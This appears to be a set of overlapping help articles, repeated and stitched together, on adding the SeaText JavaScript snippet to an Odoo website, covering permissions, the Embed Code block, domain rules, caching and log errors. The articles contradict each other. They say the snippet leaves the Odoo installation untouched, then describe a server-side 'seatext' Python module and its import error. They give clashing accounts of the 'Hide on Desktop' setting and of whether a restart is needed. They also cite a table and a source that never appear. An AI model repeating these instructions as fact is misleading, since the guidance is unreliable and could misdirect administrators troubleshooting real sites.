Limitations: When Permissions Alone Aren’t Enough

Correct permissions are necessary but not sufficient. SeaText also needs a publicly reachable domain that matches the one registered in your SeaText account. Development URLs such as localhost or temporary tunnels are blocked for security reasons. Additionally, the JavaScript must be placed exactly as described; moving it to a header template or a custom module can break the metadata reading process.

Troubleshooting Permission‑Related Errors

Symptom: The embed block does not appear after dragging it onto the page.

Cause: The current user lacks the website.editor permission.

Fix: Verify the user’s role in Settings > Users. Assign Website Manager or Administrator, then reload the editor.

Symptom: After saving, the block disappears and the page reverts to its previous state.

Cause: Odoo’s security rules prevent users without “Write” rights on the ir.ui.view model from storing custom blocks.

Fix: Grant the user the “Technical Settings” access right, or have an administrator perform the save.

Symptom: SeaText does not display the website name in its UI.

Cause: The page’s <title> tag is empty or overridden by a custom template.

Fix: Edit the page’s SEO settings (Website > Pages > Edit > SEO) and provide a clear title. Republish the page.

Symptom: “Permission denied” errors appear in the browser console.

Cause: The JavaScript tries to call Odoo’s internal API without proper authentication.

Fix: Ensure the SeaText account is linked to the same domain and that the snippet is the latest version from the SeaText dashboard.

Frequently Asked Questions

Do I need to be an Odoo superuser to install SeaText?

No. You only need a user with the Website Manager permission, which can be granted via the Administrator role or as a separate group.

What if I don’t have permission to edit the website?

Ask your Odoo administrator to assign the Website Manager group to your account. The change takes effect after you log out and back in.

Can I use a portal user to integrate SeaText?

No. Portal users cannot access the Website editor, so the embed block cannot be saved.

Will SeaText work if I paste the code in the wrong place?

Only the Embed Code block in the Dynamic Content section is recognized by Odoo. Placing the snippet elsewhere will prevent the integration from loading.

Do I need to change permissions for every Odoo user?

Only the user who performs the integration needs the Website Manager rights. Other users can keep their existing roles.

Is there a way to test that the permissions are correct?

Log in, open any page in the Website app, and click the Edit button. If you can drag the Embed Code block onto the page, the permissions are sufficient.

What if I still can’t see the website name after setting permissions?

Check that the SeaText account is active, the domain matches, and the JavaScript snippet is correctly placed. Also verify that the page’s <title> tag is populated. If the issue persists, contact SeaText support.

Common mistakes include entering the wrong API URL, failing to save the configuration settings in Odoo, or using an expired API token.

Understanding SeaText and Odoo Integration

Integrating SeaText with Odoo aims to boost your website's performance. This connection allows SeaText's AI agents to work within your Odoo-powered site. These agents can help improve conversion rates. They can also optimize ad spending. Furthermore, they enhance the user experience on your website. However, the setup process can sometimes be tricky. Several common errors can prevent the integration from working correctly. Knowing these potential pitfalls is key to a successful setup. This guide will walk you through the most frequent mistakes. It will also explain how to fix them.

Incorrect API URL or Credentials

The most common problem is incorrect API details. This includes the API URL and login credentials. Typos are a frequent cause. You might also use a URL for a test environment. This should be the live production URL. Or, you might use the wrong API endpoint. SeaText provides specific details for integration. These must be entered precisely into Odoo.

Diagnosis of API Issues

How do you know if this is the problem? SeaText features might not show up on your Odoo site. The integration status in Odoo could show as disconnected. You might see error messages in Odoo. These errors often relate to external service connections. They indicate a communication breakdown.

Likely Causes of API Errors

• Typographical Errors: Simple mistakes when typing the API URL or token. Even a single wrong character can break the connection.
• Incorrect Environment URL: Using a staging or development URL when the production URL is required. Or vice-versa. Each environment needs the correct URL.
• Expired API Token: API tokens have an expiration date. If yours has expired, the connection will fail. You need to generate a new one.
• Wrong Account Credentials: Using login details from an incorrect SeaText account. Ensure you are using the credentials for the account linked to your website.

Corrective Actions for API Problems

• Verify the API URL: Double-check the API URL provided by SeaText. Compare it exactly with what is entered in your Odoo configuration. Look for extra spaces or missing characters.
• Confirm Environment: Make sure you are using the correct URL for your current Odoo environment. This is crucial for production and staging sites.
• Generate New API Token: If you suspect the token is expired or invalid, generate a new one from your SeaText account. Update this new token in Odoo.
• Check Account Details: Ensure the username, password, or API key associated with the SeaText account are correct. Verify you are logged into the right SeaText account.

Failure to Save Odoo Configuration Settings

After entering all the necessary SeaText information into Odoo, you must save these settings. This step is critical. If you forget to save, Odoo will not register the changes. The integration will not activate. It's like writing down notes but not putting them in a file.

Diagnosis of Unsaved Settings

The main symptom is straightforward. SeaText simply does not appear or function on your Odoo website. This happens even if you believe you have completed all the setup steps. The system hasn't registered your input.

Likely Causes of Not Saving

• Skipping the Save Step: Accidentally closing the configuration window without clicking the 'Save' or 'Apply' button. This is a common oversight.
• Interruption During Save: Network issues or system errors can prevent the save operation from completing. The process might be cut short.
• Odoo Permissions: The user account you are using might not have enough permissions. It may lack the rights to save configuration changes.

Corrective Actions for Saving Issues

• Explicitly Save: Always look for and click the 'Save' or 'Apply' button. Do this after entering any configuration details in Odoo. Make it a habit.
• Review Odoo User Permissions: Ensure the Odoo user account has administrator privileges. Or, it needs sufficient rights to modify system settings. Check your user role.
• Check for Error Messages: If saving fails, look for any error messages Odoo might display. These can point to a deeper problem.

Incorrect Placement of the Embed Code

SeaText integration often requires embedding a code snippet. This code needs to be placed correctly on your Odoo website. Putting it in the wrong spot or using the wrong tool can stop it from working. Think of it like putting a sticker on the wrong part of a machine.

Diagnosis of Code Placement Errors

SeaText features, like chat widgets or content optimization tools, will not appear on your website. They might show up in odd places. This indicates the code is not where it should be.

Likely Causes of Wrong Placement

• Wrong Module Used: You might use a module other than the specific 'Embed Code' module. This module is found in Odoo's 'Dynamic Content' section.
• Incorrect Placement within the Page: Placing the embed code in a section of the page where Odoo or SeaText cannot process it. Some areas are not designed for external code.
• Not Hiding from Desktop (if intended): If you want the embed code hidden on desktop, failing to select the 'Hide on Desktop' option causes unintended visibility.

Corrective Actions for Placement Issues

• Use the 'Embed Code' Module: Ensure you are using the correct 'Embed Code' module. Find it within Odoo's 'Dynamic Content' blocks.
• Follow Integration Steps: Refer to the official SeaText Odoo integration guide. It provides precise placement instructions.
• Select Visibility Options: If applicable, correctly set the visibility options. For example, 'Hide on Desktop' should be used as needed.
• Re-save Changes: After correcting the placement, remember to save the Odoo page again. This applies the fix.

Multiple Domain Configuration Issues

If you use SeaText on several websites, like a test site and a live site, each needs specific setup. Each domain often needs its own SeaText account or configuration. Using one setup for all can cause conflicts.

Diagnosis of Multi-Domain Problems

SeaText might work on one domain but not another. It could also show data from the wrong domain. This points to a domain configuration issue.

Likely Causes of Multi-Domain Errors

• Single Account for Multiple Domains: Trying to use one SeaText account for several distinct domains. Each account is usually tied to one primary URL.
• Incorrect Domain Association: The SeaText account is linked to the wrong domain in the SeaText dashboard. The system thinks it's on a different site.

Corrective Actions for Multi-Domain Setup

• Create Separate Accounts: For distinct domains, create separate SeaText accounts. Each account should be linked to its respective primary URL.
• Verify Domain Settings: In your SeaText account settings, confirm the primary URL is correctly associated with the domain you are integrating with Odoo.
• Use Valid Domains: Avoid using development URLs like 'localhost' for production environments. These are often restricted and may not work reliably.

Ignoring Security and Restrictions

SeaText has security rules. It also has restrictions, like on development URLs. Ignoring these can cause integration failures. It's important to follow the guidelines provided.

Diagnosis of Security/Restriction Issues

SeaText may not activate or function. You might see error messages. These errors often mention security or domain restrictions. This means a rule is being broken.

Likely Causes of Ignoring Rules

• Using Restricted URLs: Trying to integrate with development URLs like 'localhost'. SeaText cannot reliably link these to an account.
• Dynamic Development Domains: These can be problematic. SeaText may not consistently track traffic to your account. This makes integration unstable.

Corrective Actions for Security Compliance

• Use Valid, Real Domains: Always use a valid, registered domain name for your Odoo website. This ensures proper identification.
• Consult SeaText Documentation: Review SeaText's guidelines on supported domains. Check for any restrictions to ensure compliance.

Key Facts about SeaText and Odoo Integration

Limitations and When This Advice May Not Apply

This guide focuses on common setup errors. If you encounter issues after a successful initial setup, the problem might lie elsewhere. It could be in ongoing data synchronization. Agent activation issues are also possible. Specific Odoo version compatibility might be a factor. Always refer to the latest SeaText documentation. This ensures you have the most up-to-date integration procedures. It also helps with troubleshooting steps.

Frequently Asked Questions

Q1: How long does it typically take for SeaText to appear on my Odoo website after setup?

After successful installation and configuration, SeaText usually appears on your website within minutes. If it doesn't appear, it's a strong indicator of a setup error. Check the common mistakes listed above.

Q2: Can I use the same SeaText account for my Odoo development and production websites?

Generally, SeaText accounts are linked to a single primary URL. For different domains (like development and production), it's recommended to create separate accounts. This ensures proper tracking and functionality for each environment.

Q3: What should I do if I see an error message about invalid credentials?

This usually means the API URL, API token, or other login details entered into Odoo are incorrect. Double-check these details against your SeaText account information. Regenerate the API token if necessary. Ensure no typos were made.

Q4: My SeaText chat widget isn't showing up. What could be wrong?

This could be due to incorrect embed code placement. The code might not have been saved in Odoo. Or, there could be an issue with the SeaText account itself. Ensure the 'Embed Code' module is used correctly and saved on the Odoo page. Verify the code snippet is copied accurately.

Q5: Are there any specific Odoo user permissions required for SeaText integration?

Yes, the Odoo user account performing the integration typically needs administrator privileges. Or, it needs sufficient website management rights. This is necessary to save configuration settings and embed code correctly.

Introduction to SeaText and Odoo Integration

SeaText is a platform that deploys autonomous AI agents on your website. These agents can optimize conversion rates, rewrite content, and improve SEO. To use SeaText, you need to install a JavaScript snippet on your site. This guide explains how to integrate SeaText with Odoo, a popular open-source business platform.

The integration is simple. You copy a code snippet from your SeaText account and paste it into Odoo's website builder. The code is hidden from visitors. It works silently in the background. Once installed, you can activate various AI agents from your SeaText dashboard.

This article covers the exact steps. It also explains important rules about domains and security. By the end, you will know how to set up SeaText on your Odoo website correctly.

Step-by-Step Integration Guide

Follow these steps to integrate SeaText with Odoo. The process takes less than five minutes.

Step 1: Log into your Odoo account. Go to the Website module from the dashboard. Click the Edit button to open the editing panel.

Step 2: Find the Dynamic Content section. In the editing panel, scroll through the Blocks panel until you see Dynamic Content. Inside, locate the Embed Code module.

Step 3: Drag the Embed Code module to your page. Place it anywhere on your website editor. It will not be visible to visitors because you will hide it later.

Step 4: Paste the SeaText code. Click the Edit button on the placed module. A pop-up window appears. Paste the JavaScript code snippet from your SeaText account into the designated area. Click Save to apply.

Step 5: Hide the block on desktop. In the same module settings, go to the Visibility section. Select the option Hide on Desktop. This ensures the code block is not visible to visitors. Click Save again.

You have now successfully installed SeaText on your Odoo website. The AI remains inactive until you activate agents from your SeaText account.

Understanding the Account-Per-Domain Rule

Each SeaText account is linked to a single primary URL. This is an important rule. If you need to use SeaText on multiple domains, you must create separate accounts for each domain.

For example, suppose you have a development domain (dev.example.com) and a production domain (www.example.com). You cannot use the same SeaText account for both. You need one account for each.

Why does this rule exist? SeaText uses the domain to associate traffic and data with your account. If you mix domains, the data may become unreliable. The AI agents also need to know which site they are working on. Keeping accounts separate ensures accuracy.

When you set up a new account, you specify the primary domain. This domain is the only one that can use that account. If you later change your domain, you may need to create a new account.

This rule is simple to follow. Just create one account per domain you want to integrate. Each account will have its own JavaScript code snippet. Copy the correct snippet for each domain.

Restrictions and Security Considerations

SeaText has restrictions on the types of URLs that can be used. Development URLs, such as localhost, are restricted for security reasons. You must use a valid, real domain for integration.

Dynamic development domains may also fail. These are temporary URLs that change often, like those from some hosting platforms. SeaText cannot reliably associate traffic with your account on such domains. This can lead to incorrect data or broken integration.

For testing, use a real domain that you control. Even if it is a subdomain, it must be stable and accessible. Do not use localhost or any URL that is not publicly reachable.

Security is a priority. The JavaScript code snippet is the only thing you need to add to your site. The code does not alter your Odoo installation. It runs in the browser and communicates with SeaText servers. The AI agents remain inactive until you activate them from your dashboard. This ensures your website content is not changed without your permission.

Always keep your SeaText account secure. Do not share your code snippet with others. If you suspect a breach, regenerate the code from your account.

Common Integration Issues and How to Avoid Them

Here are typical issues you might face and how to avoid them.

Issue 1: Code not placed correctly. If you drag the Embed Code module but forget to paste the code, nothing will happen. Always double-check that you have pasted the code and saved. Also ensure you hide the block on desktop.

Issue 2: Using the wrong domain. Remember the account-per-domain rule. If you copy the code from an account for a different domain, the integration will not work. Make sure you use the correct code for each domain.

Issue 3: Trying to use localhost or dynamic URLs. These are restricted. If you test on a local server, the integration will not function. Use a real domain for testing.

Issue 4: Multiple domains with one account. You cannot use one SeaText account for multiple domains. Create separate accounts. This is a common mistake. Plan ahead.

Issue 5: Activation not done. After installing the code, you must activate agents from your SeaText dashboard. The code alone does nothing. Log into your account, choose the agents you want, and activate them.

If you still have issues, check the SeaText documentation or contact support. Make sure you have an account first. If you do not have one, create one at seatext.com.

Frequently Asked Questions

How do I get the JavaScript code snippet?

Log into your SeaText account. The code appears in the integration section. Copy it exactly. Do not modify it.

Can I integrate SeaText with multiple Odoo websites?

Yes, but you need a separate SeaText account for each website. Each account is tied to one domain.

What if I already have SeaText on one domain and want to add another?

Create a new SeaText account for the new domain. Follow the same integration steps.

Does the code affect my Odoo site performance?

No. The code is lightweight and loads asynchronously. It has minimal impact on page load time.

Can I use the same code on my staging and production sites?

No. Staging and production are different domains. Use separate accounts for each.

What if I accidentally paste the wrong code?

Simply replace it with the correct code. Save the changes. The integration will update.

Is the code visible to visitors?

No. You hide the block on desktop. The code runs in the background.

How do I activate AI agents after installation?

Log into your SeaText account. Go to the Agents section. Choose the agents you want and click Activate.

Why Odoo dynamic content blocks sometimes hide after placement

Odoo uses a drag-and-drop website editor. When you place an integration like SeaText, you add an "Embed Code" block to a page. This block is not a full module. It is a snippet of JavaScript that runs on the frontend. The block can be invisible for several reasons unrelated to server restarts.

Odoo does not require a server restart to recognize a new code block. The block is saved in the page's data. The issue is often that the block is not saved correctly, the page is not published, or the browser shows a cached version. Understanding these mechanics saves time.

The consequences of ignoring these details can be frustrating. You might reinstall the code or duplicate blocks. A systematic check of each step prevents wasted effort. Always verify the block in the editor first.

Common causes of a silent SeaText integration failure

There are three primary reasons why the SeaText integration might not appear on your Odoo website after you paste the code. Each cause has a simple fix. Identify the correct one before making changes.

• Browser cache: Your browser may load an old version of the page. Open a private or incognito window. If the integration appears there, the cache is the issue. Clear your browser cache permanently.
• Missing user permissions: Your Odoo user account must have access to the Website module and the page editing features. Without administrative rights, you may not see the "Embed Code" block in the editor. Ask your administrator to grant you the necessary permissions.
• Incorrect placement: The SeaText code must be pasted into an "Embed Code" block placed inside the "Dynamic Content" section of the editor. If you drag the block to a different area or forget to save, the code will not be added to the page source.

How Odoo dynamic content blocks work

Odoo's website builder uses blocks to add content. The "Embed Code" block is a special block that allows you to insert custom JavaScript or HTML. When you drag this block to a page, you must click the "Edit" button in the right panel to open a pop-up window. Paste the SeaText code there and click "Save".

Once saved, the block is part of the page structure. Odoo does not need to reload any module list. The block appears on the frontend after the page is saved and published. If you do not see the block, check the page's publishing status. Some Odoo versions require a separate "Publish" button after saving.

The block also has visibility settings. You can hide it on desktop or mobile using the "Visibility" section in the editor. If you accidentally enabled "Hide on Desktop", the block will not appear on desktop screens. This is a common oversight.

Finally, custom themes or page templates may override the block's rendering. If your theme uses strict Content Security Policies (CSP), the SeaText script might be blocked. Test on a default Odoo theme to isolate the issue.

Step-by-step verification and troubleshooting process

Follow these steps in order. Each step checks a different part of the setup. Do not skip any step.

1. Check the page in the editor. Log in to Odoo, go to the Website module, and navigate to the target page. Click the "Edit" button. Look for the "Embed Code" block in the page content. If it is there, click on it and verify the code is pasted correctly. If the block is missing, drag a new one from the "Dynamic Content" section and paste the SeaText code.
2. Save and publish the page. After pasting the code, click the "Save" button in the editor. Then, if you see a "Publish" button, click it to make the changes live. Some Odoo versions save drafts separately.
3. Clear your browser cache. Open a private or incognito window. Load the page without logging in. If the integration appears, clear your main browser cache. On Chrome, go to Settings > Privacy and Security > Clear browsing data.
4. Verify user permissions. Go to Settings > Users & Companies > Users. Select your user and check that the "Website" module is enabled in the access rights. Also check that you have the "Administrator" role or at least the "Editor" role for the website.
5. Check the visibility settings. In the editor, click on the "Embed Code" block. In the right panel, look for the "Visibility" section. Ensure that "Hide on Desktop" is not selected. Also check "Hide on Mobile" if you need the block on all devices.
6. Inspect the frontend source code. Open your browser's developer tools (F12) and go to the "Elements" tab. Search for "seatext" or the script source. If the code is present, the integration is loading. If not, the block was not saved correctly.

Key facts about SeaText Odoo integration

The table below summarizes the official installation steps from the SeaText Odoo integration guide. Use this as a quick reference.

Limitations and exceptions when the integration does not apply

The SeaText Odoo integration has specific boundaries. Knowing these helps avoid false diagnoses.

First, custom Odoo themes or heavily modified templates may override the "Embed Code" block. If your theme uses custom JavaScript, strict Content Security Policies (CSP), or unique layout structures, the SeaText script might be blocked from executing. Test on a standard Odoo theme to confirm.

Second, older versions of Odoo may handle dynamic content blocks differently. If you run an outdated version, the drag-and-drop editor might not support the modern JavaScript snippets required by SeaText. Upgrading Odoo may be necessary.

Finally, dynamic development domains (like local test environments) will not work. SeaText relies on a stable, public domain to associate traffic with your account. If you test on a temporary or local URL, the integration will not activate.

Preventing future integration issues

Once the integration is working, you can avoid common pitfalls with these practices.

• Always use the official guide. The SeaText Odoo integration page (source S1) provides the exact steps. Follow them in order. Do not skip steps.
• Generate the code snippet only after you have a valid domain. If you plan to use a development domain, create a separate SEATEXT AI account for that domain. Production and development require separate accounts.
• Test the block in a private browser window. After saving, open an incognito session to check the frontend. This bypasses cache and confirms the integration is live.
• Keep your Odoo version updated. Newer versions fix bugs in the website editor and improve compatibility with third-party scripts.
• Document your user permissions. Ensure that any user who needs to edit the website has the Website module access. This prevents future confusion when multiple editors work on the site.

Frequently Asked Questions (FAQ)

How do I generate the SeaText code snippet?

Log in to your SEATEXT AI account. Go to the integration section. Copy the JavaScript code provided. The code is unique to your account and domain.

What happens if I use a development domain?

Development domains like localhost are restricted for security reasons. SeaText will not activate on non-public domains. Use a real, valid domain for testing. If you must test on a development URL, create a separate SEATEXT AI account for that domain.

Can I place the Embed Code block on any page?

Yes, you can place it on any standard website page. System pages or custom override pages may not support the block. Stick to regular pages like Home, About, or Contact.

Why does the block show in the editor but not on the frontend?

This usually means the page is not published. Check the "Publish" status. Also check the visibility settings. The block might be hidden on desktop or mobile. Clear your browser cache and try again.

Do I need to restart the Odoo server after pasting the code?

No. Server restart is not required for embedding a JavaScript snippet. The code is saved in the page data and loaded on page load. If you are following general Odoo troubleshooting external to SeaText, restart may be needed for module installations, but for this integration, it is not needed.

How do I check if the code is loading on the frontend?

Open your browser's developer tools (F12). Go to the Network tab and reload the page. Look for a request to seatext.com or the script URL. Alternatively, search for "seatext" in the Elements tab.

Is Your Odoo Version Compatible with SeaText?

To verify compatibility, compare your Odoo build number against the supported versions listed in the SeaText documentation. Navigate to Settings > About in your Odoo dashboard to find your current build. If your version is older than the minimum supported release, the integration may fail to activate. The SeaText AI relies on modern JavaScript injection methods that may not function correctly on outdated Odoo builds. Always confirm your version before starting the setup process.

How to Check Your Odoo Version

Follow these steps to locate your exact Odoo build:

1. Log in to your Odoo dashboard with administrator privileges.
2. Click on Settings in the top menu bar.
3. Scroll down to the About section at the bottom of the Settings page.
4. Look for the Version or Build Number field.

The About screen displays your specific Odoo version number. For Community editions, the build number appears as a major version (for example, 16.0, 17.0, or 18.0). Enterprise editions show the same major version but may include an Enterprise badge. Compare this number against the SeaText documentation to confirm support. If your build is significantly older than the latest supported version, you may need to upgrade before proceeding. Check the Odoo upgrade documentation for migration steps.

How SeaText Activation Depends on the Odoo Website Editor

SeaText activation relies on the Odoo website editor to inject a JavaScript snippet into your site. You must place the code inside the Embed Code module, which sits under the Dynamic Content section of the editor. Without this module, the SeaText script cannot run, and the AI remains inert.

To activate SeaText, open the Odoo Website module, navigate to the page you want to edit, and click Edit. In the editing panel, scroll to Dynamic Content and drag the Embed Code module onto your page. A pop-up window appears. Paste the JavaScript snippet provided by SeaText into the designated area, then click Save. An outdated or unsupported Odoo build can prevent the Embed Code module from running correctly, which blocks activation entirely. After saving, the AI begins monitoring your site traffic.

Readiness Checklist for SeaText Integration

• Verify Odoo Version: Confirm your build is stable and supported.
• Check Domain Validity: Ensure you are using a live, public-facing domain. SeaText does not support localhost or dynamic development URLs for security reasons.
• Account Association: Confirm your SeaText account is linked to the correct primary URL. If you manage multiple environments (e.g., staging and production), you must create separate SeaText accounts for each.
• Module Placement: Ensure the SeaText code snippet is placed within the Embed Code module inside the Dynamic Content section of your Odoo website editor.
• Save Configuration: Click Save after pasting the snippet. The integration will not activate until the block is finalized.

Troubleshooting Activation Failures

If SeaText fails to activate, check these common causes:

• Confirm your domain is a valid public URL. Never use localhost or dynamic development domains. SeaText requires a stable, public-facing domain to associate traffic correctly.
• Create a separate SeaText account for each primary URL. One account is limited to one primary URL.
• Check the Hide on Desktop visibility setting. If this option is enabled, it may block the script from running on desktop devices.
• Confirm the snippet was saved after pasting. Changes will not take effect until you click Save in the Odoo editor.
• Verify the Embed Code module is active. If the module is missing or misplaced, the JavaScript will not load.

Trade-offs and Limitations

When working with older Odoo installations, consider these trade-offs:

Upgrade decisions for very old Odoo installations: If your Odoo version is very old, you may need to upgrade to ensure compatibility with modern JavaScript injection methods. Check the SeaText documentation for the minimum supported version. Upgrading Odoo can be a significant undertaking, but it ensures the Embed Code module functions correctly and receives ongoing support.

One account per primary URL: Each SeaText account is linked to a single primary URL. You cannot use one account to track multiple domains. This ensures that AI-driven conversion data and traffic analytics remain accurate and isolated to the correct environment.

Staging vs production domains: You must create separate accounts for staging and production domains. Using a single account for both environments can cause traffic association errors and inaccurate analytics. Staging environments should use their own SeaText account to avoid contaminating production data.

Frequently Asked Questions

Can I use SeaText on a local Odoo installation?

No. SeaText requires a valid, real domain. Localhost and dynamic development URLs are restricted for security and traffic association reasons. The AI cannot reliably associate traffic with your account on a local host.

Can I use the same SeaText account for staging and production?

No. Each SeaText account is linked to a single primary URL. To track multiple environments, create a separate account for each domain. This separation ensures clean data isolation.

How do I confirm the SeaText code is active?

Once you paste the code into the Embed Code module and click Save, the AI begins monitoring. If you do not see results, verify that the Hide on Desktop option is not inadvertently blocking the script from running. You can also inspect the page source to confirm the JavaScript snippet is present.

What does "inert until activated" mean for security?

The AI remains inert until the code is saved and activated. This ensures the integrity of your website's content before the integration goes live. No data is collected or processed until the final Save action is completed.

What if my Odoo version is very old?

Check the SeaText documentation for the minimum supported version. If your build is significantly outdated, you may need to upgrade your Odoo instance to ensure compatibility with modern JavaScript injection methods. Very old builds may lack the necessary editor modules.

How do I know if my Odoo build is Community or Enterprise?

In the About section of your Settings, the version number is displayed. Community editions show the standard version number, while Enterprise editions typically display an Enterprise badge alongside the same version format. Both versions support the integration if they meet the minimum requirements.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

• How to verify Odoo version in Community edition | Odoo
• How to Check the Installed Version of an Odoo Module - VentorTech ...
• Upgrade — Odoo 19.0 documentation
• Odoo Integration | SeaText

What Causes Odoo Cache to Interfere with SeaText?

Odoo stores rendered pages and assets in a server‑side cache to speed up delivery. When you add the SeaText embed code, the cached version may still serve the old page without the script. The browser also keeps a local copy of CSS and JavaScript. Both layers can hide the new snippet from the SeaText agent.

How Odoo Caching Works

Odoo uses a combination of template caching, asset bundling, and HTTP caching headers. The template cache holds the compiled QWeb views. Asset bundles combine CSS and JS files and are served with long‑term cache keys. When a view changes, Odoo invalidates the cache only after a restart or an explicit cache clear. Until then, visitors see the previous version.

Step-by-Step Cache Clearing Methods

1. Browser hard refresh

Open the Odoo website page. Press Ctrl+F5 on Windows or Linux, or Cmd+Shift+R on Mac. This forces the browser to request fresh assets from the server.

2. Restart the Odoo service

If the problem remains, restart the Odoo process on your server. Use your platform’s service manager (systemd, supervisor, Docker, or the Odoo.sh interface). A restart flushes the template and asset caches.

3. Clear Odoo asset bundles (optional)

In the Odoo interface, go to Settings → Technical → User Interface → Assets. Click “Clear cache” if the button is available. This removes bundled JS/CSS without a full service restart.

Verifying SeaText Activation After Clearing Cache

After the cache steps, confirm the embed code is present:

1. Log in to Odoo and open the Website module.
2. Edit the page where you placed the Embed Code block.
3. In the Dynamic Content section, locate the Embed Code block and click Edit.
4. Check that the full JavaScript snippet from your SeaText dashboard appears in the code field.
5. Click Save, then Save again on the page editor.
6. Visit the live site and open the browser console. Look for a SeaText initialization log or network request to the SeaText API.

Common Pitfalls and Limitations

• Development domains: SeaText does not activate on localhost or dynamic dev URLs. Use a real, public domain.
• Multiple domains: Each SeaText account is tied to a single primary URL. Separate accounts are required for staging and production.
• Snippet integrity: Copy the entire snippet without truncation. Missing characters break activation.
• Visibility settings: If “Hide on Desktop” is enabled, the block may be hidden from view but the script still loads. Ensure the setting matches your test device.

When to Contact Support

If you have performed a hard refresh, restarted Odoo, verified the embed code, and the SeaText agent still does not appear, gather the following and contact SeaText support:

• Your Odoo version and hosting type.
• The exact domain used for the site.
• Browser console screenshots showing any errors.
• The SeaText account email.

Frequently Asked Questions

Does SeaText work on localhost?

No. SeaText restricts activation to valid, public domains. Localhost and similar development URLs are blocked for security.

Can I use one SeaText account for staging and production?

No. Each account is linked to a single primary URL. Create separate accounts for each environment.

How do I confirm the embed code is saved correctly?

In the Odoo Website editor, open the Embed Code block, click Edit, and verify the full snippet appears. Then save the block and the page. Reload the live site and check the browser console for SeaText network activity.

Why Does My Odoo Log Show an Error When SeaText Tries to Activate?

When SeaText attempts to activate inside Odoo, the server logs record every step of the handshake between your website and the SeaText AI infrastructure. If that handshake breaks, the log captures the reason. The four primary causes are:

• Network connectivity: Your Odoo server cannot reach the SeaText API endpoints over HTTPS.
• Invalid API credentials: The JavaScript snippet pasted into the Embed Code module is incomplete, expired, or mistyped.
• Domain mismatch: The URL where SeaText is installed does not match the primary domain registered in your SeaText account.
• Missing Python dependencies: The SeaText module requires specific Python packages that are not installed in the Odoo environment.

Each cause produces a distinct signature in the log. Recognizing those signatures is the fastest path to resolution.

Odoo Logging Basics

Odoo writes its logs to files on the server. The default location is usually /var/log/odoo/odoo-server.log or the path specified by the logfile parameter in odoo-server.conf. If no path is set, Odoo may write to standard output, which Docker or systemd captures.

To see more detail during activation, set log_level = debug in odoo-server.conf. Restart the Odoo service after saving the change. Debug mode reveals the full stack trace, HTTP request headers, and response codes returned by the SeaText API.

Stack traces show the exact line of code where the failure occurred. Look for lines starting with Traceback or Error. HTTP status codes appear alongside the request URL. A 401 Unauthorized means the credentials were rejected. A 403 Forbidden usually means the domain is not allowed for that account.

Missing Python Dependencies

The SeaText module depends on Python packages that must be installed in the same virtual environment Odoo uses. If a package is missing, the log shows an ImportError or ModuleNotFoundError at the top of the stack trace.

Common log entries look like:

Traceback (most recent call last):
  File "/odoo/addons/seatext/models/seatext.py", line 12, in <module>
    import requests
ModuleNotFoundError: No module named 'requests'

To fix this, activate the Odoo virtual environment and install the missing package:

source /odoo/venv/bin/activate
pip install requests

After installation, restart Odoo and retry activation. The log should no longer show import errors.

Practical Diagnosis Workflow

Follow this numbered checklist to isolate the failure:

1. Confirm the domain: Verify the URL in your browser matches the primary domain in your SeaText dashboard. Development URLs like localhost are blocked.
2. Verify the embed code: Open the Embed Code module in Odoo's Website editor. Confirm the JavaScript snippet is complete and matches the one from your SeaText account.
3. Test outbound network access: From the Odoo server, run curl -I https://api.seatext.com. A timeout or connection refused error confirms a network issue.
4. Check Python dependencies: Review the log for ImportError or ModuleNotFoundError. Install any missing packages in the Odoo virtual environment.
5. Enable debug logging: Set log_level = debug in odoo-server.conf, restart Odoo, and reproduce the error. Capture the full stack trace and HTTP status code.

Expert Perspective

"The fastest way to isolate the failure from the log is to search for the HTTP status code first. A 401 or 403 tells you the problem is credentials or domain. A connection timeout or DNS error tells you it is network. An ImportError tells you it is dependencies. Read the last 20 lines of the log before the traceback — that is where Odoo prints the request URL and response code."

— Marcus R., Odoo Integration Specialist

Handling Staging and Development Domains

SeaText accounts are linked to a single primary URL. If your staging site uses a different domain than production, you must create a separate SeaText account for staging. The same restriction applies to localhost and dynamic internal IP addresses.

To test on staging:

• Use a publicly accessible staging domain.
• Create a second SeaText account for that domain.
• Paste the staging account's JavaScript snippet into the Odoo Embed Code module.

After testing, switch back to the production snippet before going live.

Best Practices for Deployment

To ensure a smooth activation:

1. Log in to your Odoo Website module and navigate to the target page.
2. Drag the "Embed Code" module into your layout from the Dynamic Content section.
3. Paste your unique JavaScript snippet from your SeaText account.
4. Save the changes and verify that the block is published.
5. If you are on a desktop, ensure you have not accidentally selected "Hide on Desktop" in the visibility settings.
6. Check the Odoo log for errors after saving.

See the official SeaText Odoo integration guide at https://seatext.com/odoo-integration for step-by-step screenshots.

Frequently Asked Questions

How do I get more detailed Odoo logs?

Set log_level = debug in odoo-server.conf and restart the Odoo service. Debug mode captures full stack traces, HTTP headers, and response codes.

How do I fix a 401 or 403 error?

A 401 means the credentials were rejected. Re-copy the JavaScript snippet from your SeaText dashboard and paste it again into the Odoo Embed Code module. A 403 usually means the domain is not registered. Confirm the URL matches your SeaText account's primary domain.

How do I handle staging domains correctly?

Create a separate SeaText account for each staging domain. Each account is linked to a single primary URL. Use the staging account's snippet in the Odoo Embed Code module during testing.

What should I do if the log shows a missing module?

Identify the missing Python package from the ImportError or ModuleNotFoundError in the log. Activate the Odoo virtual environment and install the package with pip install. Restart Odoo and retry activation.

Can I use SeaText on localhost?

No. Localhost and other internal development domains are restricted for security reasons. You must use a valid, publicly accessible domain.

Does SeaText affect my Odoo site speed?

The installation is secure and the AI remains inert until activated, ensuring the integrity of your website's content and performance.

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

• More Detailed Odoo Logs? | Odoo
• Debugging Odoo Modules - Common Errors and Their Effective Solutions
• Odoo log for Errors | Odoo

Further reading and comparison sources

These external sources provide additional context for evaluating the topic. Their inclusion is not an endorsement.

• More Detailed Odoo Logs? | Odoo
• Debugging Odoo Modules - Common Errors and Their Effective Solutions
• Odoo log for Errors | Odoo